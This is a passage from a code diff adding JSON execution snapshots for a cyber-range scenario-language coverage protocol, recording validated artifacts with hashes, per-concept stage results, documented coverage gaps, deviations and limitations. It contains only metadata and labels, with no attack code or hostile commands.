"contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-20T15:44:45.533369+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "06d333d4aa19d6164121a92193d36d36ffb5237183eac5a813caf61b759872b7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "f1c71228beab51c8e55348178a8e37e4ce9c2dd52aefd7f74c5a59ef2425b6e6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "208d6bb7f2dca977c06ac6d67cd47451e091c69bd9fd334e043506e51265aa7a", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "e4136a6e1f2fadc0fa174421532b91360aee0f73", + "snapshot_id": "raes-standardized-specification-coverage-issue-1069-v40", + "snapshot_revision": "40.0.0", + "source_state": { + "base_revision": "e4136a6e1f2fadc0fa174421532b91360aee0f73", + "checkout_state": "modified", + "implementation_digest": "5bcdae3f455df2cbb9e9033a9e7495c0e5eec30e96094b9daa59e2e07eb30f2f", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v41.json b/docs/research/specification-coverage/execution-snapshot-v41.json new file mode 100644 index 000000000..18b106101 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v41.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-21T12:49:11.719854+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical 